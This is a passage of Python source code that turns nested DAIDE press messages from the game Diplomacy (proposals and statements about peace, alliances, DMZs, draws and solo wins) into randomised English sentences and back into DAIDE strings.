self.english = 'It is unclear if ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['are in a', 'have a']) + ' ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (HUH (FCT (NAR (PCE elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a peace treaty.' elif self.container.operator == 'FCT': # (FCT (PCE if self.container.container is None: self.english = helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['are in a', 'have a']) + ' ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' # (HUH (FCT (PCE elif self.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a peace treaty.' else: self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement about this peace deal, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['form', 'sign', 'agree to', 'establish']) + ' a ' + \ random.choice(['peace treaty', 'peace deal', 'non-agression pact', 'cease-fire']) + '.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'PCE (' + ' '.join(self.allies) + ')' class PressAlliance(PressMessage): """ The game-related content of an alliance. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'ALY' if random.choice([True, True, False]): self.allies = [curpower for curpower in helpers.powerlist if curpower in utterance.topowers or curpower == utterance.frompower] opplist = [curpower for curpower in helpers.powerlist if curpower not in self.allies] self.opponents = random.sample(opplist, random.randint(1, min(3, len(opplist)))) else: self.allies = random.sample(helpers.powerlist, random.randint(2, 3)) opplist = [curpower for curpower in helpers.powerlist if curpower not in self.allies and curpower != utterance.frompower] self.opponents = random.sample(opplist, random.randint(1, min(3, len(opplist)))) elif len(thelists) == 4: self.operator = thelists[0] self.allies = thelists[1] self.opponents = thelists[3] def formenglish(self): # type () -> str """ Creates an English expression about the alliance in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ if self.container.operator == 'PRP': # (PRP (ALY if self.container.container is None: if random.choice([True, False]): self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + \ ' ' + random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + \ ' between ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers) + \ ' against ' + helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' else: self.english = 'I ' + random.choice(['propose', 'request']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['form', 'sign', 'agree to', 'establish']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + \ ' against ' + helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (YES (PRP (ALY elif self.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree to', 'concur with', 'would appreciate']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + \ ' between ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers) + \ ' against ' + helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (REJ (PRP (ALY elif self.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['reject', 'do not concur with', 'do not approve of']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + \ ' between ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers) + \ ' against ' + helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (CCL (PRP (ALY elif self.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + \ ' between ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers) + \ ' against ' + helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (HUH (PRP (ALY elif self.container.container.operator == 'HUH': self.english = 'I do not understand your alliance proposal.' elif self.container.operator == 'NOT': if self.container.container.operator == 'PRP': # (PRP (NOT (ALY if self.container.container.container is None: self.english = 'I ' + random.choice(['propose', 'request', 'demand']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' not ' + \ random.choice(['form', 'sign', 'agree to']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (YES (PRP (NOT (ALY elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' should not ' + \ random.choice(['form', 'sign', 'agree to']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (REJ (PRP (NOT (ALY elif self.container.container.container.operator == 'REJ': if random.choice([True, False]): self.english = 'I ' + random.choice(['disagree', 'reject']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' should not ' + \ random.choice(['form', 'sign', 'agree to']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' else: self.english = 'No, ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['should be free to', 'should not be stopped from', 'should not be prevented from']) + ' ' + \ random.choice(['forming', 'signing', 'agreeing to']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (CCL (PRP (NOT (ALY elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['form', 'sign', 'agree to']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (HUH (PRP (NOT (ALY elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about an alliance.' elif self.container.container.operator == 'FCT': # (FCT (NOT (ALY if self.container.container.container is None: self.english = helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['are not in', 'do not have']) + ' ' + \ random.choice(['a current', 'an active', 'a']) + ' ' + \ random.choice(['alliance', 'joint military operation', 'military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' self.english = self.english.replace(' a alliance', ' an alliance') # (HUH (FCT (NOT (ALY elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about an alliance.' elif self.container.operator == 'NAR': if self.container.container.operator == 'PRP': # (PRP (NAR (ALY if self.container.container.container is None: self.english = 'I ' + random.choice(['doubt', 'don\'t think', 'do not think']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' should ' + \ random.choice(['form', 'sign', 'agree to']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (YES (PRP (NAR (ALY elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' should not ' + \ random.choice(['form', 'sign', 'agree to']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (REJ (PRP (NAR (ALY elif self.container.container.container.operator == 'REJ': self.english = 'No, I ' + random.choice(['think', 'believe']) + ' that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + \ ' should in fact be able to ' + random.choice(['form', 'sign', 'agree to', 'establish']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (CCL (PRP (NAR (ALY elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that ' + \ helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' should not ' + \ random.choice(['form', 'sign', 'agree to']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (HUH (PRP (NAR (ALY elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about an alliance.' elif self.container.container.operator == 'FCT': # (FCT (NAR (ALY if self.container.container.container is None: self.english = 'It is unclear if ' + helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['are in', 'have']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (HUH (FCT (NAR (ALY elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about an alliance.' elif self.container.operator == 'FCT': # (FCT (ALY if self.container.container is None: self.english = helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['are in', 'have']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' # (HUH (FCT (ALY elif self.container.container.operator == 'HUH': self.english = 'I do not understand your statement about an alliance.' else: self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type: () -> str """ Creates a simple English statement about this alliance, without any context like proposals, negations, etc. Useful for lists of conjunctions or other contexts in which simplicity is valued over flavor. :return: the simple English statement :rtype: str """ self.simpleenglish = helpers.listOfPowers(self.allies, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['form', 'sign', 'agree to', 'establish']) + ' ' + \ random.choice(['an alliance', 'a joint military operation', 'military cooperation', 'a military coalition']) + ' against ' + \ helpers.listOfPowers(self.opponents, self.utterance.frompower, self.utterance.topowers) + '.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'ALY (' + ' '.join(self.allies) + ') VSS (' + ' '.join(self.opponents) + ')' class PressDMZ(PressMessage): """ The game-related content of a DMZ. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'DMZ' if random.choice([True, True, False]): self.powers = [curpower for curpower in helpers.powerlist if curpower in utterance.topowers or curpower == utterance.frompower] else: self.powers = random.sample(helpers.powerlist, random.randint(1, 3)) self.provinces = random.sample(helpers.provincelist, random.randint(1, 3)) elif len(thelists) == 3: self.operator = thelists[0] self.powers = thelists[1] self.provinces = thelists[2] def formenglish(self): # type () -> str """ Creates an English expression about the DMZ in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ powersgloss = helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers) provincesgloss = helpers.listOfProvinces(self.provinces) if self.container.operator == 'PRP': # (PRP (DMZ if self.container.container is None: if 'you ' in powersgloss.lower() and 'and me' in powersgloss.lower(): self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + \ ' we ' + random.choice(['stay out of', 'create a DMZ in', 'create a demilitarized zone in', 'keep out of']) + ' ' + \ provincesgloss + '.' else: self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + ' that ' + \ powersgloss + ' ' + random.choice(['stay out of', 'create a DMZ in', 'create a demilitarized zone', 'keep out of']) + ' ' + \ provincesgloss + '.' # (YES (PRP (DMZ elif self.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree to', 'concur with']) + ' ' + \ random.choice(['a DMZ in', 'a demilitarized zone in', 'keeping out of', 'staying out of']) + ' ' + \ provincesgloss + ', covering ' + powersgloss + '.' # (REJ (PRP (DMZ elif self.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['reject', 'do not concur with', 'do not approve of']) + ' ' + \ random.choice(['a DMZ in', 'a demilitarized zone in', 'keeping out of', 'staying out of']) + ' ' + \ provincesgloss + '.' # (CCL (PRP (DMZ elif self.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of ' + \ random.choice(['a DMZ in', 'a demilitarized zone in']) + ' ' + \ provincesgloss + '.' # (HUH (PRP (DMZ elif self.container.container.operator == 'HUH': self.english = 'I do not understand your DMZ proposal.' elif self.container.operator == 'NOT': if self.container.container.operator == 'PRP': # (PRP (NOT (DMZ if self.container.container.container is None: if random.choice([True, False]): self.english = 'I ' + random.choice(['propose', 'request', 'demand']) + ' that ' + \ powersgloss + ' have free movement into and through ' + \ provincesgloss + '.' else: self.english = 'I ' + random.choice(['propose', 'request', 'demand']) + ' that no ' + \ random.choice(['DMZ', 'demilitarized zone', 'safe zone']) + ' exist in ' + \ provincesgloss + '.' # (YES (PRP (NOT (DMZ elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that ' + \ powersgloss + ' have free movement into and through ' + \ provincesgloss + '.' # (REJ (PRP (NOT (DMZ elif self.container.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['disagree with', 'reject']) + ' free movement into and through ' + \ provincesgloss + ' for ' + powersgloss + '.' # (CCL (PRP (NOT (DMZ elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that ' + \ provincesgloss + ' not enjoy a ' + random.choice(['DMZ', 'demilitarized zone', 'safe zone']) + \ ' with respect to ' + powersgloss + '.' # (HUH (PRP (NOT (DMZ elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a DMZ.' elif self.container.container.operator == 'FCT': # (FCT (NOT (DMZ if self.container.container.container is None: self.english = powersgloss + ' ' + \ random.choice(['are not in', 'do not respect', 'do not have']) + ' ' + \ random.choice(['a current', 'an active', 'a']) + ' ' + \ random.choice(['DMZ', 'demilitarized zone', 'safe zone']) + ' in ' + \ provincesgloss + '.' # (HUH (FCT (NOT (DMZ elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a DMZ.' elif self.container.operator == 'NAR': if self.container.container.operator == 'PRP': # (PRP (NAR (DMZ if self.container.container.container is None: self.english = 'I ' + random.choice(['doubt', 'don\'t think', 'do not think']) + ' that ' + \ helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' should ' + \ random.choice(['form', 'sign', 'agree to']) + ' a ' + \ random.choice(['DMZ', 'demilitarized zone', 'safe zone']) + ' in ' + \ provincesgloss + '.' # (YES (PRP (NAR (DMZ elif self.container.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree', 'concur']) + ' that ' + \ helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' should not ' + \ random.choice(['form', 'sign', 'agree to']) + ' a ' + \ random.choice(['DMZ', 'demilitarized zone', 'safe zone']) + ' in ' + \ provincesgloss + '.' # (REJ (PRP (NAR (DMZ elif self.container.container.container.operator == 'REJ': self.english = 'No, I ' + random.choice(['think', 'believe']) + ' that ' + \ helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' should not ' + \ ' should in fact be able to ' + random.choice(['form', 'sign', 'agree to', 'establish']) + ' a ' + \ random.choice(['DMZ', 'demilitarized zone', 'safe zone']) + ' in ' + \ provincesgloss + '.' # (CCL (PRP (NAR (DMZ elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that ' + \ helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' should not ' + \ random.choice(['form', 'sign', 'agree to']) + ' a ' + \ random.choice(['DMZ', 'demilitarized zone', 'safe zone']) + ' in ' + \ provincesgloss + '.' # (HUH (PRP (NAR (DMZ elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a DMZ.' elif self.container.container.operator == 'FCT': # (FCT (NAR (DMZ if self.container.container.container is None: self.english = 'It is unclear if ' + helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['are in', 'have']) + ' a ' + \ random.choice(['DMZ', 'demilitarized zone', 'safe zone']) + ' in ' + \ provincesgloss + '.' # (HUH (FCT (NAR (DMZ elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a DMZ.' elif self.container.operator == 'FCT': # (FCT (DMZ if self.container.container is None: self.english = helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' ' + \ random.choice(['are in', 'have']) + ' ' + \ random.choice(['DMZ', 'demilitarized zone', 'safe zone']) + ' in ' + \ provincesgloss + '.' # (HUH (FCT (DMZ elif self.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a DMZ.' else: self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the DMZ in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ self.simpleenglish = helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers, case='Subjective') + ' form a DMZ in ' + helpers.listOfProvinces(self.provinces) + '.' return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ return 'DMZ (' + ' '.join(self.powers) + ') (' + ' '.join(self.provinces) + ')' class PressDraw(PressMessage): """ The game-related content of a draw. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'DRW' if random.choice([True, True, False]): self.powers = [curpower for curpower in helpers.powerlist if curpower in utterance.topowers or curpower == utterance.frompower] else: self.powers = None self.provinces = random.sample(helpers.provincelist, random.randint(1, 3)) else: self.operator = thelists[0] if len(thelists) > 1: self.powers = thelists[1] else: self.powers = None def formenglish(self): # type () -> str """ Creates an English expression about the draw in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ powersgloss = '' subjpowersgloxx = '' if self.powers is not None: powersgloss = helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers) subjpowersgloss = helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers, case='Subjective') if self.container.operator == 'PRP': # (PRP (DRW if self.container.container is None: if self.powers is None: self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + ' we pursue a draw.' else: self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + ' we pursue a draw between ' + powersgloss + '.' # (YES (PRP (DRW elif self.container.container.operator == 'YES': if self.powers is None: self.english = 'I ' + random.choice(['agree to', 'concur with']) + ' pursuing a draw.' else: self.english = 'I ' + random.choice(['agree to', 'concur with']) + ' pursuing a draw between ' + powersgloss + '.' # (REJ (PRP (DRW elif self.container.container.operator == 'REJ': if self.powers is None: self.english = 'I ' + random.choice(['reject', 'do not concur with', 'do not approve of', 'do not agree to']) + ' pursuing a draw.' else: self.english = 'I ' + random.choice(['reject', 'do not concur with', 'do not approve of', 'do not agree to']) + ' pursuing a draw between ' + powersgloss + '.' # (CCL (PRP (DRW elif self.container.container.operator == 'CCL': if self.powers is None: self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of a draw.' else: self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of a draw between ' + powersgloss + '.' # (HUH (PRP (DRW elif self.container.container.operator == 'HUH': self.english = 'I do not understand your draw proposal.' elif self.container.operator == 'NOT': if self.container.container.operator == 'PRP': # (PRP (NOT (DRW if self.container.container.container is None: if self.powers is None: self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + ' we do not pursue a draw.' else: self.english = 'I ' + random.choice(['propose', 'request', 'offer']) + ' we do not pursue a draw between ' + powersgloss + '.' # (YES (PRP (NOT (DRW elif self.container.container.container.operator == 'YES': if self.powers is None: self.english = 'I ' + random.choice(['agree that', 'concur that']) + ' we should not pursue a draw.' else: self.english = 'I ' + random.choice(['agree that', 'concur that']) + ' we should not pursue a draw between ' + powersgloss + '.' # (REJ (PRP (NOT (DRW elif self.container.container.container.operator == 'REJ': if self.powers is None: self.english = 'I ' + random.choice(['still think', 'nevertheless believe']) + ' we should pursue a draw.' else: self.english = 'I ' + random.choice(['still think', 'nevertheless believe']) + ' we should pursue a draw between ' + powersgloss + '.' # (CCL (PRP (NOT (DRW elif self.container.container.container.operator == 'CCL': if self.powers is None: self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that we do not draw.' else: self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that ' + subjpowersgloss + ' not pursue a draw.' # (HUH (PRP (NOT (DRW elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a draw.' elif self.container.container.operator == 'FCT': # (FCT (NOT (DRW if self.container.container.container is None: if self.powers is None: self.english = 'I am not pursuing a draw.' else: self.english = subjpowersgloss + ' are not pursuing a draw.' # (HUH (FCT (NOT (DRW elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a draw.' elif self.container.operator == 'NAR': if self.container.container.operator == 'PRP': # (PRP (NAR (DRW if self.container.container.container is None: if self.powers is None: self.english = 'It is ' + random.choice(['unclear', 'fuzzy', 'uncertain']) + ' that we should pursue a draw.' else: self.english = 'It is ' + random.choice(['unclear', 'fuzzy', 'uncertain']) + ' that ' + subjpowersgloss + ' should pursue a draw.' # (YES (PRP (NAR (DRW elif self.container.container.container.operator == 'YES': if self.powers is None: self.english = 'I ' + random.choice(['agree', 'concur']) + ' that it is ' + random.choice(['unclear', 'fuzzy', 'uncertain']) + ' that we should pursue a draw.' else: self.english = 'I ' + random.choice(['agree', 'concur']) + ' that it is ' + random.choice(['unclear', 'fuzzy', 'uncertain']) + ' that ' + subjpowersgloss + ' should pursue a draw.' # (REJ (PRP (NAR (DRW elif self.container.container.container.operator == 'REJ': if self.powers is None: self.english = 'No, I ' + random.choice(['think', 'believe']) + ' that we should pursue a draw.' else: self.english = 'No, I ' + random.choice(['think', 'believe']) + ' that ' + subjpowersgloss + ' should pursue a draw.' # (CCL (PRP (NAR (DRW elif self.container.container.container.operator == 'CCL': if self.powers is None: self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal regarding a draw.' else: self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal regarding a draw between ' + powersgloss + '.' # (HUH (PRP (NAR (DRW elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a draw.' elif self.container.container.operator == 'FCT': # (FCT (NAR (DRW if self.container.container.container is None: if self.powers is None: self.english = 'It is unclear if we are in a good draw position.' else: self.english = 'It is unclear if ' + subjpowersgloss + ' are in a good draw position.' # (HUH (FCT (NAR (DRW elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a draw.' elif self.container.operator == 'FCT': # (FCT (DRW if self.container.container is None: if self.powers is None: self.english = 'We are in a good draw position.' else: self.english = subjpowersgloss + ' are in a good draw position.' # (HUH (FCT (DRW elif self.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a draw.' else: self.english = self.formsimpleenglish() return self.english def formsimpleenglish(self): # type () -> str """ Creates an English expression about the DMZ in the context of a sender, recipients and desired tone. :return: the simple English expression :rtype: str """ if self.powers is None: self.simpleenglish = 'a draw' else: self.simpleenglish = 'a draw between ' + helpers.listOfPowers(self.powers, self.utterance.frompower, self.utterance.topowers) return self.simpleenglish def formDAIDE(self): # type () -> str """ Create a DAIDE representation of this Message :return: the DAIDE message :rtype: str """ if self.powers is None: return 'DRW' else: return 'DRW (' + ' '.join(self.powers) + ')' class PressSolo(PressMessage): """ The game-related content of a solo win. """ def __init__(self, utterance, container, thelists): # type: (PressUtterance, PressMessage, []) -> None """ Initialize the message with an utterance :param utterance: the press utterance that this message is within the content for :type utterance: PressUtterance :param container: the press message that contains this one :type container: PressMessage :param thelists: the parsed, nested DAIDE statement :type thelists: [] """ super().__init__(utterance, container) if thelists is None or len(thelists) == 0: self.operator = 'SLO' if random.choice([True, True, False]): self.winner = [utterance.frompower] else: self.winner = [random.choice(helpers.powerlist)] elif len(thelists) == 2: self.operator = thelists[0] self.winner = thelists[1] def formenglish(self): # type () -> str """ Creates an English expression about the solo win in the context of a sender, recipients and desired tone. :return: the English expression :rtype: str """ winnergloss = helpers.listOfPowers(self.winner, self.utterance.frompower, self.utterance.topowers) if self.container.operator == 'PRP': # (PRP (SLO if self.container.container is None: if winnergloss == 'me': self.english = 'I am ' + random.choice(['in a good position for a solo win', 'going for a solo win', 'not catchable - watch my solo win', 'just a matter of turns away from winning']) + '.' elif winnergloss == 'you': self.english = 'You are ' + random.choice(['in a good position for a solo win', 'going for a solo win', 'not catchable - go for a solo win', 'just a matter of turns away from winning']) + '.' else: self.english = winnergloss + ' is ' + random.choice(['in a good position for a solo win', 'going for a solo win', 'not catchable - going for a solo win', 'just a matter of turns away from winning']) + '.' # (YES (PRP (SLO elif self.container.container.operator == 'YES': self.english = 'I ' + random.choice(['agree to', 'concur with']) + ' the likelihood of a solo win by ' + winnergloss + '.' # (REJ (PRP (SLO elif self.container.container.operator == 'REJ': self.english = 'I ' + random.choice(['disagree with', 'reject']) + ' the likelihood of a solo win by ' + winnergloss + '.' # (CCL (PRP (SLO elif self.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal of a solo win by ' + winnergloss + '.' # (HUH (PRP (SLO elif self.container.container.operator == 'HUH': self.english = 'I do not understand your solo win proposal.' elif self.container.operator == 'NOT': if self.container.container.operator == 'PRP': # (PRP (NOT (SLO if self.container.container.container is None: if winnergloss == 'me': self.english = 'I am ' + random.choice(['not in a good position for a solo win', 'not going for a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' elif winnergloss == 'you': self.english = 'You are ' + random.choice(['not in a good position for a solo win', 'not going for a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' else: self.english = winnergloss + ' is ' + random.choice(['not in a good position for a solo win', 'not going for a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' # (YES (PRP (NOT (SLO elif self.container.container.container.operator == 'YES': if winnergloss == 'me': self.english = 'I agree I am ' + random.choice(['not in a good position for a solo win', 'not going for a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' elif winnergloss == 'you': self.english = 'I agree you are ' + random.choice(['not in a good position for a solo win', 'not going for a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' else: self.english = 'I agree ' + winnergloss + ' is ' + random.choice(['not in a good position for a solo win', 'not going for a solo win', 'not uncatchable - no solo win yet', 'still a ways from winning']) + '.' # (REJ (PRP (NOT (SLO elif self.container.container.container.operator == 'REJ': if winnergloss == 'me': self.english = 'I think I am ' + random.choice(['closer to a win than you think', 'going for a solo win anyway', 'nevertheless uncatchable', 'quite close to winning']) + '.' elif winnergloss == 'you': self.english = 'I think you are ' + random.choice(['closer to a win than you think', 'going for a solo win anyway', 'nevertheless uncatchable', 'quite close to winning']) + '.' else: self.english = 'I think ' + winnergloss + ' is ' + random.choice(['closer to a win than you think', 'going for a solo win anyway', 'nevertheless uncatchable', 'quite close to winning']) + '.' # (CCL (PRP (NOT (SLO elif self.container.container.container.operator == 'CCL': self.english = 'I wish to ' + random.choice(['cancel', 'retract', 'take back']) + ' my proposal that a solo win is not in the cards for ' + winnergloss + '.' # (HUH (PRP (NOT (SLO elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your proposal about a solo win.' elif self.container.container.operator == 'FCT': # (FCT (NOT (SLO if self.container.container.container is None: self.english = winnergloss + ' is not pursuing a solo win.' # (HUH (FCT (NOT (SLO elif self.container.container.container.operator == 'HUH': self.english = 'I do not understand your statement about a solo 